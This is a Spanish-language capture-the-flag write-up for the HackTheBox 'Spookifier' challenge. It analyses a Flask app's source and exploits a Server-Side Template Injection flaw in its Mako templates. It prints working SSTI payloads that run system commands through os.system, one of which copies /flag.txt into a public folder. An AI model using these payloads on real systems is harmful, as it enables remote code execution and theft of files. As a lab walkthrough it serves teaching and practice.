Spookifier
2 minutos de lectura
Se nos proporciona esta página web:

Podemos introducir un texto cualquiera y será mostrado en diferentes fuentes:

Análisis de código estático
Tenemos el código fuente en Python de la aplicación web, hecha con Flask. Este archivo es application/blueprints/routes.py:
from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify
web = Blueprint('web', __name__)
@web.route('/')
def index():
text = request.args.get('text')
if text:
converted = spookify(text)
return render_template('index.html', output=converted)
return render_template('index.html', output='')
Lo primero que vemos es que se utilizan plantillas, pero usando mako en lugar del habitual Jinja2.
La función spookify básicamente utiliza un mapa entre caracteres normales y fuentes spooky. Sin embargo, la última transformación (font4) mantiene el texto intacto:
def change_font(text_list):
text_list = [*text_list]
current_font = []
all_fonts = []
add_font_to_list = lambda text,font_type : (
[current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()
) and None
add_font_to_list(text_list, 'font1')
add_font_to_list(text_list, 'font2')
add_font_to_list(text_list, 'font3')
add_font_to_list(text_list, 'font4')
return all_fonts
def spookify(text):
converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)
Entonces, podemos realizar un ataque de Server-Side Template Injection (SSTI) mediante font4.
Explotación
Para explotar la vulnerabilidad, podemos ir a PaylaodsAllTheThings y buscar un payload de SSTI para mako:
${self.module.cache.util.os.system("id")}
Vamos a probarlo:

Solamente muestra 0, que es el código de error que devuelve os.system. Mediante os.system no podremos leer la flag directamente, pero tenemos ejecución de comandos, por lo que podemos copiar el archivo /flag.txt en un directorio público:
${self.module.cache.util.os.system("cp /flag.txt /app/application/static/css")}

Flag
Y ahí tenemos la flag:
$ curl 161.35.174.99:30548/static/css/flag.txt
HTB{t3mpl4t3_1nj3ct10n_1s_$p00ky!!}